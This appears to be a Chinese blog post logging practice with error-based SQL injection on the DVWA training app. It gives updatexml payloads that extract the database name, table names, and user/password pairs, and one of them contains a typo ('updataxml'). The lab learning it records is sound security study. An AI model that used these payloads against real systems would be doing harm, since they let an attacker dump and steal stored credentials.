DVWA[SQL-Injection]报错注入学习记录

还是以sql-injection为例

爆个库:

输入查询语句:

1‘ and updataxml(1,concat(0x7e,database()),1)-- -

得到数据库库名为dvwa

爆个表名:

-1' and updatexml(1,  concat( 0x7e,   ( select table_name from information_schema.tables where table_schema='dvwa'  limit 0,1),0x7e),1)-- -
-1' and updatexml(1,  concat( 0x7e,(select table_name from information_schema.tables where table_schema='dvwa'  limit 1,1),0x7e),1)-- -

 接下来还是爆users表里面的user和password字段。在使用updatexml()这个函数的时候有需要注意的地方,具体参考:传送门

输入查询语句:

-1' and updatexml(1,concat(0x7e,substr((select concat(user,'|',password) from dvwa.users limit 0,1),1,31),0x7e),1)-- -

因为updatexml只支持32位的报错,因此最好一行一行地使用 concat limit 与substr 逐个爆破,调一下参数就行

联合一下前面的,就可以得到user和password 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值